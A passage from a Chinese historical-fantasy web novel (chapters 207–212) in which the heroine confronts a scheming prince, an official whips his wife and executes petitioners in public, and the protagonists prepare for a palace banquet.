一路行至佛心堂,苏巍川忽地道,“九王妃觉得我这院子风水如何?”
江清婉煞有介事地环顾四周,看得很是认真,一边看还一边点头。
“王爷应该是请了挺厉害的风水师吧,这院子有虎威之势,与您的身份极为相符,还能保佑子孙后代,必出武将。”
苏巍川哈哈大笑。
“早就听闻九王妃懂玄门之术,没想到对风水也深谙其道,如此看来,秦将军的确配不上你。”
江清婉在心里翻了个白眼。
什么虎威之势。
这佛心堂中阵法繁琐叠加,哪还有风水插足之地。 而且,佛心堂建在了整个王府的风水穴上,如此怪异之举,但凡找个风水师看一眼,也不至于会如此。
可见,佛心堂所建,就是苏巍川故意为之。
以此断绝风水干扰,让其间阵法完全人为掌控,不受任何影响。
她只当什么也没看出来,浅浅颔首。
“过往之事,我已放下,也请王爷代为转达,让苏县主和秦将军好生过活,莫要再与我为难。”
佛心堂正厅内。
老仆端着茶盏放在了江清婉的面前。
“请王妃用茶。”
江清婉瞥了眼他腰间挂着的一块老旧的玉牌,其上,有浅浅黑气萦绕。
“多谢。”
她浅笑端起,似一个不稳,直接泼向了老仆身上。
老仆竟神奇的稳稳接住,滴水没漏。
“有些烫,王妃小心些。”
他将茶杯又放回桌上,躬声退到一边。
脚步蹒跚,仿佛刚刚的举动都是错觉。
青穗的眸子凝了凝。
整个人更加警觉。
江清婉收回目光,再次端起茶盏,袅袅水汽中,并未参杂任何东西。
她抿了一口。
只觉苦涩难喝,还有些许发霉的味道。
苏巍川却喝得甚是有滋味。
“这茶,还是太上皇赐的,我留存多年,一直没舍得喝。九王妃觉得如何?”
江清婉无语。
陈茶多年,怪不得有霉味。
她将茶盏放下,自袖中摸出那张画着鬼面石像的宣纸。
“茶很好,多谢王爷款待,今日我登门拜访,是有一事,想请教王爷,还请解惑。”
老仆上前将宣纸接过递给了苏巍川。
苏巍川打开,看到鬼面石像的那一瞬间,眸色猛地冷凝住,唇角也下意识下压。
江清婉目光灼灼。
盯得异常仔细。 “不瞒王爷,我身份不敢与京中贵女相攀比,那日九王殿下奉旨出征,我实在不想再发生曾经之事,让他在外面再带个女娇娘回来,便一路追了过去贴身照料。这石像,便是在清风寨中所见,恰好拥有此石像之人,便是逆贼同党,私通大隋之人。整个京城人人都知,大隋与大周之战,是王爷最显赫的功勋,若此物真与大隋有关,王爷定然知晓一二。”
苏巍川将纸细细叠好,轻轻放在桌上。
眸光这才扫向江清婉,锐利如淬了毒的刀。
“九王殿下怎么不自己来问?”
江清婉笑道,“您误会了,九王军政繁忙,要查的事情太多,并未在意石像之事,是我想为殿下做点事情,特来叨扰,还望苏王爷莫怪。”
苏巍川打量着江清婉。
此女似乎将野心和贪念表露无意。
可那双眼睛里,却又藏着让人看不透的深意。
默了几息,他淡淡开口。
“这的确是大隋之物,名为镇山石像,是出征之时,家中亲眷为出征之人助威祈福所用,也有将领将会带士兵碎碗祭石。”
江清婉心口轻颤。
若是如此,李斗提及的尸山血海,难道真是大隋和大周的那场大战。
如果按照这个时间推演,他会失智,也并非她救他之时所创,而应该是在幼时。
她正晃神,主位上传来问询。
“我已为你解惑,不知九王妃可否也为我解惑?”
“我还能帮到苏王爷?请讲。”
江清婉敛下情绪抬眸看去,神色并无闪躲,不卑不亢,还带着几分随性的慵懒。
半点没有一个商籍之身一跃成为凤凰的诚惶诚恐。
苏巍川抬手招了下。
老仆走到一旁端了个托盘过来,其上放着一张黄色的符纸,符纸旁边是朱砂研成的红色墨汁。
而在符纸上,画着一半的符箓,正是那天,在苏王府外面的小巷子里,江清婉给夏宇使用过的记忆符。
“这张符箓关乎我府内失窃的宝物,不知九王妃可能帮我复原?”
彼此心知肚明的试探。
江清婉知道,那日教训过夏宇,他一定会来苏家告状。
如今,苏巍川直接坦白地问到她脸上,倒也省了很多麻烦。
她抬手拿起毛笔,沾着朱砂将符箓完美补充。
毛笔一放,淡笑着看向苏巍川。
“苏王爷没有别的要问我的?比如,那日的大火。”
老仆刚要将东西端回去,闻言愣在原地。
显然没料到,江清婉会如此坦诚地在此刻说出来。 有恃无恐一般。
苏巍川眯了眯眼。
“老夫记得,那日苏家祖祠突生大火,九王妃并不在场。难道还知其他内情?”
江清婉神色悠然。
“王爷不是已经知道了吗?我跟小侯爷将夏宇揍了一顿,他没有跟你告状?”
苏巍川也被她直白的话噎了一下。
似乎所有的算计试探,在此刻都成了无法拿出手的可笑手段。
你想要知道的真相,已经摆在眼前。
可你要接受这个真相,便要揭开更多的真相给她观看。
妥妥的杀敌一千自损百八。
还是被强迫的去杀敌。
第208章 可他没动
看着她略显几分稚嫩的小脸,苏巍川忍不住笑了一下。
“九王妃是觉得,有九王殿下为你撑腰,有九王妃的封号,便可以在老夫的王府肆意妄为,无法无天?”
青穗已经全身紧绷戒备。
佛心堂的院子里至少有六名高手,武功都不弱,她要突出重围平安带走江清婉机会很小。
更何况还有外面的府兵。
这可是苏巍川的府邸!
她已经开始后悔顺着江清婉的任性而行事。
江清婉却丝毫不紧张。
小手轻轻敲着桌面,不答反问。
“那苏王爷您呢?得皇帝恩泽庇佑,册封异姓王,虽退出朝堂,却又在短短几年,辅佐女婿和外孙成为军政要员,手握兵权。皇上更是看在苏家的颜面上,连秦明朗做下的恶事都能抹掉。可如此恩宠,王爷为何还要派人刺杀太后?”
老仆怒喝。
“王妃慎言。”
江清婉看向他,目光落在他腰间的古玉上。
“你又是谁?急什么?”
老仆噎的老脸通红。
苏巍川冷哼一声。
“九王妃,老夫虽已离朝,但你诋毁于我,即便你身后站着的是九王殿下,老夫也一样会告到御前。”
江清婉点点头。
“告吧,我陪你一起,再叫上小侯爷和夏家那对父子,哦,对了,还有护国寺的方丈,听说,那人跟王爷是旧识。还有秦明朗,是黑鸦与他合谋,让他前去护国寺救人,可那黑鸦,王爷似乎也知晓。”
苏巍川的脸色已经难看至极。
他在朝中多年,老谋深算,说话三分浅。
那群察言观色的,自然会摸透其中利害。
可突然面对将所有饵料全部抛出坦然的等你出招的江清婉,竟有些措手不及。
江清婉似忽然又想起什么,小手一指。
“你知道法师白硕吧,太后亲自选的天师,前往皇陵,却行盗窃之事,而他所盗之物,竟然就是黑鸦和拿着金钩弯刀的大隋余孽想要的宝盒,王爷您说巧不巧,将此事与护国寺太后被袭一事交叉在一起,那就更有趣了。”
“此事一出,我为妖妇,吸食活人精血将人变成干尸,人人得而诛之。而九王殿下遭刑罚三十鞭,当真是……天下乌鸦一般黑,想要吃人的目的盖都盖不住。”
冷洌的声音掷地有声。
落下之后,厅内死一般寂静。
青穗怔在当场,心里翻滚着惊涛好浪。
她曾被江清婉玄门手段和机关巧手所震慑信服,可如今,更生出一种誓死追随的热血沸腾。
谁敢想。
一个手无缚鸡之力的小小女子,被人诟病下堂妇,商籍贱民,却敢孤身一人,瞒着九王,为他争一个真相公平。
她的手摸向了腰间的短刀。
预感着会有一场恶战。
就算是死,她也要带着江清婉离开。
可主位上阴沉着双眸的苏巍川,却并没有招手叫人。
两相对峙之后,他缓缓开口。
“你可知,此事搬到朝堂,会引来什么霍乱?皇上忌惮九王功高盖主,早就想杀,你这么一闹,岂不是理由充足?”
江清婉很轻很轻的笑了一下。
极尽讽刺。
“既然早就想杀,为何迟迟不杀?还有,苏王爷,你敢与我同往昭阳殿吗?”
苏巍川的手缓缓握紧。
他已经很久很久没有这么渴望的去杀掉一个人了。
看似所有的底牌全部抛出,可是,那张被补齐的符纸又清晰的摆在那里。
让人根本猜不透,到底,还有没有其他更为炸裂让人无法掌控的底牌。
那就像个黑洞。
若无底牌,她怎敢如此。
若有,又是什么?
苏巍川发现,他还真的不敢!
这让他无比懊恼。
眸色骤然阴戾下来。
“我可以让你死在这里。”
唰!
青穗从腰间抽出了短刀。
江清婉缓缓站起身。
“苏王爷,我与你无仇,也不关心你们苏家想要达成什么样的地位。至于秦明朗和苏玉兰,只要他们不寻死,我不会对他们下手。唯一的一条,不要试图算计墨云寒,要打,便光明正大的与他开战,生与死,他都认,但若是用其他手段,别怪我,将你苏家,撕个粉碎!”
她说完,竟转身往门外走。
纤瘦的背影,一掌可摧的单薄身姿,却又冷飒的无视身后将她剥皮抽筋的眼神。
坦然自若地出了正厅,穿过佛心堂的石子路。
直到踏出佛心堂,青穗都有些难以置信。
那可是苏巍川啊。
被威胁之后,竟然什么都没做就这么放她们走了?
正厅内,苏巍川的脸色已经铁青。
老仆急道,“主人,不动手吗?”
苏巍川看向那张符纸。
“她虽猜的真假参半,可有些事,不能在昭阳殿上被揭开。”
老仆担忧。
“这女人岂能查到这么多事情,肯定是九王让她前来试探威慑,主人,若我们毫无反击,九王下一步就能对您动手。”
苏巍川却并不这么想。
“你不了解墨云寒这个人,自傲,自负,他被诬陷为妖孽煞神,也只会提枪上阵杀敌自证,而不是用其他诡谲的手段。这一点,他比所有皇子包括皇上,都要好。”
老仆深深叹了口气。
“主人,您对大周的付出,无人可及,你不该被如此不敬。老奴,实在看不下去。”
苏巍川的情绪却已经平复。
“我有更重要的事情要做,传令下去,我身体不适谢绝一切访客,诸事,皆不必问询。”
“是!”
苏王府的门口近在咫尺。
青穗终于松了口气。
“王妃,刚刚太危险了,您胆子实在是大。这苏巍川可不是善茬。”
江清婉的神色没多大变化,眼底的忧思却又重了几分。
她一直以为,苏巍川的目的是墨云寒。
可今日之后,她却发现自己想错了。
京中如此局面,苏巍川以她为饵弹劾墨云寒,今日便是绝佳的机会。
可他没动!
正如青穗所言,苏巍川可不是什么善茬。
可他偏偏就是没动!
“江清婉!”
一声怒喝打断了她的思绪。
她回神,就看到跪在门口的苏玉兰正满眼愤恨地瞪着她,讽刺的冷哼。
“看你这表情就知道,我祖父没有答应你任何事情,仗着王妃的身份气压朝臣贵妇,你的所言所行都在给九王丢脸,我倒要看看,九王还能护你到几时,等你失宠,你连街上的野狗都不如。”
江清婉居高临下的看着她。
她心情很不爽。
忽地抬手。
“青穗,掌嘴!”
苏玉兰还没反应过来,两个大嘴巴子就扇了过去。
青穗的力气可比丫鬟婆子的大了太多。
清晰的掌印让皮肤下面渗出了血,却又因为没有破皮而出不来,呈现出紫红的痕迹。
没有个三天是消不下去。
第209章 民妇有冤
等苏玉兰跪足一个时辰肿着脸回到县主府的时候,
就看到府内多了不少陌生的面孔,几个侍卫的腰间都挂着大理寺的牌子,整个县主府,比以往更显威严。
春梅欢喜道,“一定是姑爷接了圣旨赴任回来了。”
闻言,苏玉兰有一种守得云开见月明的委屈,松开春梅的手急匆匆进了正厅,看到一声官袍加身,气宇轩昂的秦明朗后,心神激荡,立刻扑了过去。
“明朗,你可回来了,今日江氏那个贱人竟然敢在……”
“啪!”
她话没说完,秦明朗忽地转身狠狠的一巴掌抽在了她的脸上。
力道之大,将她整个人都掀翻在地上。
春梅惊慌失措的过去扶她。
“姑爷,您干什么啊?”
苏玉兰被打懵了,瞪大了双眼捂着脸难以置信的看着秦明朗。
“你……你敢打我?”
自从两个人在一起后,秦明朗事事顺着她哄着她。
她万万没想到,一朝得势,竟然敢对她动手。
秦明朗却是丝毫不惧,居高临下的冷冷哼了一声。
“苏玉兰,你是不是觉得,我一定回不来了?”
他神情阴狠,宛若一个凶残的屠夫,骇得苏玉兰下意识地往后缩。
“明朗,你……你在胡说什么啊?为了救你出来,我与母亲四处奔走,今日我还去了祖父那里打探消息,为你铺路,你……你怎么能这么对我?你怎么敢这么对我?”
她越说越气,刚刚被削减下的凌人盛气也找了回来,当下爬起来抬手就要抽,却被秦明朗一把攥住了手腕,硬拽着拖进了内室。
春梅大惊失色,下意识想跟进去,苏玉兰的衣服却从屏风后丢了出来。
如此诡异的场面,让她不敢再进,只能退出来关上了房门。
这时她看见一个小厮带着一个大夫往府外走,心中顿时咯噔一下,立刻跑去了柴房。
果然,张氏已经不在里面了。
再联想刚刚秦明朗的态度,她心知不好,想跑出府去找程氏过来做主,却被两个侍卫拦下。
“大人有令,你哪里也不能去。”
房间内,苏玉兰被扒光了衣服扔在床上,她原还以为秦明朗也知道错了,要在床上哄她开心。
正羞恼的想要推拒一番,一抬头却看到秦明朗不知何时拿起了一条带血的马鞭,顿时明白过来。
“秦明朗,你敢对我动手,我祖父不会放过你!”
“啪!”
秦明朗狠狠一鞭子抽了过去,皮开肉绽。
“你不就是仗着苏家的势看不起我吗?那是我亲娘,她再不好,你也不能将她打成那副样子。”
“啪!”
又是一鞭。
苏玉兰被抽的哇哇直哭。
“秦明朗,你个混账王八蛋,我可是县主,你有今天的地位,全是我的功劳,你怎么敢……”
“啪啪!”
秦明朗又甩了两鞭子。
看着鞭痕沾满了鲜血横陈在苏玉兰雪白的身子上,他突然间生出极大的征服欲和满足感。
以往,即便是在床上,苏玉兰也喜欢颐指气使。
重了不行,轻了也不行。
她不许动弹的时候,他就必须听话。
而且苏玉兰有个很变态的癖好,喜欢秦明朗亲吻她的脚趾。
还是踩在他脸上的那种亲吻。
每每此刻,秦明朗都有着一口气卡在嗓子眼里,憋屈又压抑的愤怒。
积年累月的情绪,在此刻似乎彻底释放。
他攥着沾了血的鞭子抵在苏玉兰的胸口。
“你以为是你救了我吗?我告诉你,清风寨的事情,你祖父也有参与,包括兵部火药的事,他根本就不敢让我伏法。从今以后,这个家,我说了算,你好好跟江清婉学学怎么做一个贤妻良母,若学不会,我这鞭子,可不会饶人。”
他说完拂袖而去。
不一会春梅就跑了进来。
看着瑟缩在床头满身血痕的苏玉兰,心里头想的竟是江清婉说过的话。
“竟……竟真的有血光之灾。”
苏玉兰又惊又惧,闻言情绪彻底绷不住。
“江清婉,她一个贱妇,凭什么要我去学她。我可是县主,是县主啊。我绝对不会让任何人威胁到我的地位,绝对不行!”
春梅拿了药箱过来给她上药。
“县主,姑爷怎么能这么对您?这里可是县主府,您才是主人,真的是太过分了,您必须把这件事告诉老夫人,让她为您做主,好好调教一下姑爷。”
苏玉兰疼的厉害,忽地一巴掌扇在她脸上。
“你给我轻点!”
春梅很是委屈,只能更加小心的伺候。
苏玉兰恨声道,“张氏被秦明朗给接出来了?”
春梅点头,“一定是她乱嚼舌根,让姑爷误会您。”
“哼,老不死的狗东西!”苏玉兰眼睛通红,“这件事,绝不能让母亲知道,你要烂在肚子里听到没有?”
春梅又被狠狠踹了一脚,赶紧跪在地上应下。
苏玉兰扯过被子盖在身上。
“去想办法让我的脸尽快恢复,明晚宫宴,我要让江清婉,声名狼藉!”
……
第二天午时三刻,城东菜市口刑场外,早早的就围满了看热闹的人。
秦明朗穿着深蓝色的官服,无比威严的坐在监斩台上。
周围站着的全是大理寺的侍卫。
自从回京,今日可称得上他最为荣光的时刻。
三十多人戴着沉重的镣铐被押入刑场,一个个嘴里全被破布堵住,身上鲜血淋漓,头发脏乱染着血呼在脸上,五官都看不真切,显然受过了严刑拷打。
踉踉跄跄着,全被摁在了砍头的木桩上。
周围百姓指指点点议论纷纷。
“这就是大隋人啊,跟咱们大周人长得也没什么差别。”
“你们年岁小不知道,大隋人极为凶残,当年那场大战,我们大周折损了好多兵将,没想到这么多年,这群人还没有死绝,还在兴风作浪。”
“我也听说过,他们的机关术可厉害了,能杀人于无形,你们看他们的嘴都被捂着,说不定里面就藏着杀人的机关。”
众人随之惊叹不已。
“得亏秦大人忍辱负重跟九王殿下配合擒住这群恶贼,要不然还不知道还要闹出多少乱子。”
“看来秦大人已经放下夺妻之恨,真是个为民为国的好官啊。”
“秦大人威武!”
有人喊就有人跟随。
一时间整个菜市口都响起了对秦明朗的追捧声。
秦明朗心中万分得意。
故作深沉的抬手。
“为民除害,是本官心中信仰。本官在外征战沙场五年之久,今日得皇上恩沐,执掌大理寺,伺候必会恪守本分,为民请命。”
众人齐齐欢呼鼓掌。
一时间风头无二。
秦明朗甚是满意,抬眼看了看日头,拿起斩立决的木牌正准备扔。
忽然人群外有人大喊。
“民妇有冤!”
第210章 当街杀人
紧接着又有人喊。
“草民有冤!”
“民妇有冤!”
……
此起彼伏的声音似从四面八方而来。
围观百姓纷纷让开路。
只见十几个男男女女老老少少从外围走了进来,带着视死如归的悲壮,噗通一声跪在了刑场之下。
“求秦大人为我等申冤!”
刑场上被摁在木桩上的囚犯一个个变得激动起来,发出呜呜的哀鸣。
秦明朗猛地一拍桌子。
“尔等有冤也不可擅闯刑场,午时三刻一到,行刑!”
“不可行刑!”
其中一怀着孩子的孕妇人急切跪行两步。
“大人刚刚信誓旦旦说要为民请命,难道要当着所有百姓的面食言吗?”
她抬手高高举起一几张发黄的宣纸,其上盖着硕大的红色印章。
“我名李翠,生于大周渭河石头村,年21。我夫君张虎,生于大周渭河甲午村,年25。此为县衙户籍登记文书,上至祖籍三代,皆盖有渭河县大印,足可证明,我夫君张虎,并非大隋余孽!”
另一人也同她一般高高举起文书。
“我大哥赵高,生于大周渭河春植村,年31,此为县衙户籍文书,上至祖籍三代,盖有渭河县大印,他是大周人,不是大隋余孽!”
其他人也都纷纷效仿申诉。
一时间,围观百姓皆是目瞪口呆。
“这……这怎么全都是大周的人啊,那为何会被当做大隋余孽押上刑台?”
“这到底是怎么回事啊?”
议论声越演越烈。
场面逐渐失控。
秦明朗比任何人都清楚今日斩杀之人并非全然都是大隋余孽。
可那些人,不能活。
他猛拍桌子站起身厉声喝道,“谁告诉你们今日所斩逆贼都是大隋人?皇上宽厚仁慈,不曾祸及家人,你们竟然敢闹到刑场来?”
他抬手指着刑场上的犯人。
“你们的夫君,兄弟,儿子,父亲,他们贪慕钱财权势,配合那些大隋余孽,在大周行复仇之事,被当场擒获,证据确凿,岂容你们在这里颠倒黑白。时辰已到,动手!”
斩立决的木牌被扔在地上。
刽子手当即抡起大刀。
所有跪着喊冤的人没想到他竟然会不顾冤情当场斩杀,皆是心急如焚的想要冲上去,却被大理寺的侍卫死死拦住。
一个个冒着鲜血的头颅咕噜噜滚在地上。
有受不了刺激的人已经昏死过去。
一个老者颤巍巍的举着手里的文书怒喝,
“秦明朗,你这个背信弃义的小人,我儿受你挑唆,前往清风寨助你杀敌立功,你却反而将他打为死囚斩首示众,我手中有你二人来往私信,就算拼了我这把老骨头,我也要让你为我儿陪葬。”
秦明朗脸色微变,却认不出对方是谁的父亲,可“来往私信”几个字却让他心下一惊,立刻抬手下令。
“将所有试图劫死囚的人全部控制起来,本官定要好好查查,是谁在搬弄是非,诋毁皇权。”
大理寺的侍卫立刻照做。
有人试图反击,冲破侍卫围堵爬上了刑台,高举着手大喊。
“我哥哥也是被秦明朗骗的,我亲耳听见他们密谈,说让他联系当年与他一起在军部共侍的旧部残兵助力他在清风寨剿匪,还要试图杀了九王殿下,抢夺功劳……”
他话没说完,一柄长剑直刺他的胸口,横穿而过。
鲜血喷涌而出,他瞬时瘫软在地上,艰难转身指着掷出长剑的秦明朗,一个字都没再说的出口,就倒了下去。
围观百姓惊得齐齐后退。
这群喊冤的并不是死囚,甚至还有孕妇人。
怎么可以当场就斩杀。
难不成真的是另有隐情,这群喊冤之人说的话都是真的才会让秦明朗杀人灭口。
秦明朗将长剑收回厉声沉喝。
“此等逆贼造谣生事,欲劫死囚,再敢反抗,格杀勿论!”
喊冤众人全部被押跪在地上。
那个手持私信的老者死死护着手里的东西弓着腰不肯让人抢走。
秦明朗迈着官步走了过来。
居高临下的看着宛若蝼蚁的贱民,眼中鄙夷,缓缓俯下身,声音压得很低,满满讽刺。
“你以为你拿着这些私信有什么用?你儿子回信的那些话,足够诛九族。更何况,是他自己贪婪主动请缨并非受我蛊惑,被擒以后却立刻倒戈想弄死我。人不为己天诛地灭,既如此,我为何要让他活?”
老者怒极。
瞪着猩红的眼睛死死盯着他。
“要不是你许了他什么,他怎么可能跟随你,灭九族又怎么了?我不怕死,我要拉你一起下地狱,我要去告御状。”
见他油盐不进。
秦明朗正准备弄死他,柳如知忽然带着一帮压抑急匆匆而来。
“秦大人!”
大理寺和京兆府算是同宗。
都有维护京中治安之职。
但大理寺的位置却更高,与刑部同级。
大理寺司正的官阶,和刑部侍郎的官阶一样,皆为正二品。
而柳如知,却只是三品。
秦明朗缓缓直起身,忽地想起初回京城是在秦府见到柳如知时的场景。
那时他虽也为二品,却空有品阶,并无任何官职。
如今境况,却大不相同。
他单手背后冷哼一声。
“柳大人这么清闲,京兆衙门没有案子查了吗?”
柳如知举着一份状纸道,“秦大人,有人去京兆府递交了诉讼状,本官不得不来,何人是朱老三?”
那个抱着私信文书的老者立刻高举起手。
“是我,是我,我要状告秦明朗,背信弃义,残害大周百姓,意图谋害九王爷,我有证据!”
“噗!”
秦明朗手持长剑直接抹了他的脖子。
喷涌而出的鲜血,撒在了他高举的书信之上,随着他气息消失而无力的散落在地上。
“秦明朗!你好大的胆子!”
柳如知愤怒上前。
“此人诉讼状纸本官已收,你凭什么当街斩杀未曾问罪之人,你当大周律法为何物?”
秦明朗冷笑一声。
“这老头摆明了要诬陷,还大言不惭诋毁我与九王殿下的关系,更是煽动民众前来劫死囚,罪不容恕,此案在大理寺,事态紧急,本官有斩杀恶徒之权!”
柳如知气得脸色铁青。
深吸一口气将状纸塞入袖中。
“秦大人身为大理寺司正,所言所行下官无权干涉,但你的案子是案子,下官的案子也是案子,既然状纸已收,下官定会一查到底。”
他说完弯腰将地上沾了血的文书私信捡起。
“原告已死,可这证据,是他生前所交,百姓亲眼所见,可为呈堂证供!师爷,收好!”
第211章 当场扇回去
其他被大理寺押解的人顿时如看到了曙光一般,全都高举起手中文书。
“大人,我有冤,我要报官。”
“我也要报官!”
“我要告秦明朗这个畜生!”
所有人都高喊着看向柳如知。
秦明朗怒极。
“来人,将他们押回大理寺。”
“慢着!”
柳如知抬手拦住。
还未说话就被秦明朗狠狠瞪了一眼。
“柳如知,这是我们大理寺的事,谁给你的胆子插手?”
柳如知却不理他。
朝着喊冤的众人道,“你们可认识朱老三?可知他儿子失踪之事?”
群起激愤,情绪都很紧绷。
一时间没有理解柳如知所言为何。
倒是有几个纷纷攘攘的说认识朱老三。
那位孕妇人却很快反应过来,高举文书道,“我认识朱爷,我的夫君与他儿子是一起失踪的,还请大人为我做主。”
柳如知立刻走到她面前,亲手将她扶了起来。
“来人,这位夫人现在是朱老三一案最重要的人证,务必请回京兆府好生照看。”
其他人顿时回过神来,一个个全说自己的亲人失踪了,要柳如知为他们做主。
柳如知大手一挥。
“都带回京兆府衙门。”
众捕快上前要人,跟大理寺的侍卫呈对峙之势。
秦明朗眸色森冷。
“柳如知,大理寺办案,你无权从我手上要人。不过,我也不会让你难做,等我审查完之后,自会将这些人送去京兆府。”
等他审查完,哪还有人能活。
就算是活,也不会再有人说真话。
柳如知似是极为为难。
沉思片刻后道,“既然如此,那就现场审理吧,请秦大人上座,请诸位百姓在旁听审。师爷,开堂!”
衙役分列两旁,杵着剑柄戳在地上,高呼“威威!”
柳如知轻撩官袍,冲着秦明朗拱了拱手。
“秦大人,请吧!”
满地的头颅,满地的鲜血。
数以百计围观的百姓。
手持文书,愤恨的红了眼眶的原告。
还有该死的柳如知。
秦明朗怎可能让他当场开审。
“既然柳大人如此着急,那便将人带回去吧,本官也很期待柳大人能审出一个什么结果!”
他说完拂袖而去。
他现在背后是整个苏家,又有何惧?
大理寺的侍卫紧随其后。
见侍卫散了,那群人再也安耐不住心中悲愤,纷纷冲上了刑场,寻找亲人的头颅。
……
王府内,
刚刚午睡结束。
江清婉就被宋玉书给叫了起来。
“这是你第一次参加宫宴,着装礼仪都有考究,切不可出乱子。”
她转头指了指几个丫鬟手里的托盘。
“你正式的王妃宫服需要你跟云寒大婚前几日才会和吉服一起送来,这是前段时间,我假意给风雅筑那边置办婚嫁之物是特意给你做的衣裙,一共十套,我挑了三套过来,还有配套的首饰鞋子,你看看哪个合意?”
江清婉实在对这些不怎么敢兴趣。
而且那些头饰多为翠玉碧玺,金银之物只有稍许点缀,实在不够吸引人。
她不好拂面子,便抬手分别摸了摸,选了套藕粉坠紫的纱裙。
宋玉书立刻摆了摆手,让端着饰品的几个丫鬟上前。
“你那套衣服着实素雅了一些,这头饰要贵重些才能彰显九王府的威仪。不如就这个富贵吉祥的头面,外加这套碧玉胸盘吧。”
江清婉没意见。
宋玉书又帮她选了绣鞋,张罗着给她泡了鲜花浴,亲自给她擦干了头发梳理发髻。
同时喋喋不休的跟她讲着宫中贵人的事情。
等墨云寒下值来接她的时候,她已经听得昏昏欲睡。
奢华的头面衬着她那张精致绝色的小脸,巴掌般大,瓷白如玉的肌肤仿佛能掐出水来一般娇嫩。
看到他如看到救星一般,潋滟动人的眸子里裹着狡黠灵动。
“时辰到了吗?那我们快走吧。”
她提着裙子站起身,又被宋玉书拉住。
“我说的规矩,你可都记住了?”
墨云寒看她敷衍的点着头的乖巧模样,忍不住握着拳抵在唇边轻轻笑出了声。
“你不要不当回事!”
宋玉书又急又气。
“你不要当我一个妇人什么都不知道,这朝中局势,我也听到不少。皇上此举,已经是摆明了态度,朝臣们岂会猜不透。今晚这宴席,只怕是场鸿门宴。我又不能陪同,你可要看好清婉。”
墨云寒收了笑认真的点了点头。
“放心!”
江清婉也拍了拍宋玉书的肩膀。
“放心!”
也不知为何,墨云寒说放心,宋玉书却只松了半口气。
可听着江清婉淡雅笃定的语气,就莫名心安下来。
小红在得知自己不能跟着入宫之后,就一直撅着屁股趴在院子的藤椅上,谁都不搭理。
莲儿哄了好久也没用。
见江清婉和墨云寒出来,立刻上前见礼。
“小姐,小红不开心,您要不然哄哄它?”
墨云寒不爽的揽住江清婉的小腰。
“不哄。”
小红的屁股撅的更高了,尾巴还翘着,着实不雅观。
宋玉书掩着帕子轻笑。
“这小东西,好像真的能通人性,实在不行,给它做条裤子吧。”
江清婉没忍住,噗嗤一声笑了出来。
小红顿觉羞耻的卷起了尾巴,可怜巴巴的耷拉着脑袋。
江清婉走过去俯身在它耳边低语了几句。
小红的尾巴再次翘了起来,来回摇晃着,甚至还得意的冲着墨云寒扬起了狐狸脑袋。
等二人上了马车,墨云寒实在没忍住。
“你跟那头狐狸说了什么?”
江清婉瞥他一眼。
“你怎么和妇人一般八卦。”
墨云寒噎住。
又有些不爽的往她身边凑了凑。
“我是你夫君,你与任何雄性之间的交往,我都有权知晓。”
江清婉再次抬眸,眼底的嫌弃显而易见。
四目相对,墨云寒率先不自在的坐直身体,假意整理了一下衣摆。
“不说便不说,今日夜宴,百官齐至,贵妇家眷也不会少,你好生跟在我身边,莫要乱跑。”
江清婉嗯了一声。
“知道,要我忍气吞声做个乖巧娘子,我懂得。”
墨云寒给气笑了。
“谁跟你说要你做个乖巧娘子?舅母说的?那她还真是不了解你,你哪次的委屈不是当场就扇了回去,连本王的脸面也没给过。”
江清婉噙着笑瞪他,“你倒是委屈了?那大可不必,我换人欺负便是。”
墨云寒是半点招都没有。
伸手轻轻捏在她的小腰上,语气也随之严肃起来。
“我认真的,受了欺负打回去便是,但不可私下行动。”
江清婉怔了怔。
“我去苏王府,也不全然为你。”
墨云寒冷峭的唇角微微抿了抿,并为追问。
第212章 没有富贵命
风雅筑内,
云筱然也已经穿戴好。
看着镜子里越发娇嫩的肌肤,甚是满意。
“木真,你的丹药效果不错,我感觉身体比以往还要紧致细滑。”
木真站在不远处,换了个装扮,与一般姑姑无疑,端着手淡淡笑道,“希望今夜,县主能如愿以偿。”
云筱然眼波妩媚的扫向她。
“若我如愿,你想要什么,我都许你。”
木真的目光看向她的腹部,微微躬了躬身。
“谢县主。”
刘嬷嬷被留在府中。
云筱然带着木真往府外走,恰好碰到了正准备回舒雅院的宋玉书。
见她一身盛装,宋玉书心中顿时升起一丝不安,沉着脸将人拦下。
“你要去哪里?”
云筱然再没了往日假意的敬重,敷衍的行了礼。
“太后召见,舅母不许我去吗?那我让丫鬟去宫中回话,就说九王府不许我不出府。”
宋玉书的脸色沉了沉。
看着这个渐渐长大的姑娘,终究有些舍不下心。
“筱然,云寒将话已经说绝,你又何必执着,若你还当我是长辈,听我一劝,收了心,呆在王府也好,回去县主府也要,你都会有不一样的人生。”
云筱然鼻子一阵发酸,红着眼眶看着她。
“当您是长辈?宋夫人,您可有如您所言,当我是您的女儿吗?您没有!你眼睁睁看着江清婉一个下贱的妇人欺负我,你不仅置之不理,还帮她害我。到了如今,你还想用所谓的亲情绑架我,不觉得可笑吗?”
她说完,拂袖而去。
宋玉书失望的轻轻摇了摇头。
玉英叹道,“夫人,以筱然县主这性子,怕是今晚又要惹风波。”
玉桃却小声反驳。
“也不能怪县主,她也只是深爱王爷而已。”
玉英皱眉,“那也不能害人啊。”
玉桃揪着手低着头没说话。
……
墨云寒的马车一路行至宫门,亮了腰牌之后,入了宣武门,一直走到了昭阳殿外长长的石阶前,才停了下来。
青穗和夜七守在两侧。
墨云寒撩开布帘下了车,来往朝臣已有不少。
见到他齐齐恭敬行礼。
“见过九王殿下。”
墨云寒没理,转身朝着车内伸出手,将江清婉扶了下来。
传闻中的九王妃第一次正式入宫参加夜宴,行礼众人不由多看了两眼。
日头未落,连阳光似乎都带了几分偏爱。
柔和地照在江清婉的小脸上,端庄贵气,倾城之姿。
哪里是外界传闻那种妖媚妇人的模样。
有几位一时没收住眼神。
墨云寒冰冷的眸光已经扫了过去。
“眼睛不想要了?”
骇人的气场吓得众人齐齐低头,赶紧拱手告辞。
看着如鸟兽散的朝臣,江清婉抬眸瞥了他一眼。
“九王殿下还真是威武。”
墨云寒牵住她的小手,有几分霸道强势。
“狮子老虎若是笑眯眯的,早就被野狼吃了。”
江清婉也已摸准他脾气,由着他拉着手并未挣脱,刚走两步,身后忽然传来略急的脚步声。
“九王殿下!”
来人是秦明朗。
他一身官服与往日不同,整个人意气风发,五官都英挺了不少。
“见过九王妃。”
他的目光落在二人交握着的手上,眼底闪了闪,礼数却做得很是周全,让人挑不出毛病。
“下官任职监斩,一直忙于公务,未曾登门亲自拜谢王爷在城门时配合演得那出戏,若非如此,也挖不出兵部毒瘤,为皇上分忧。”
他故意提及城门之事。
意图再明显不过。
无非就是嘲讽墨云寒大张旗鼓最终却拿他不得。
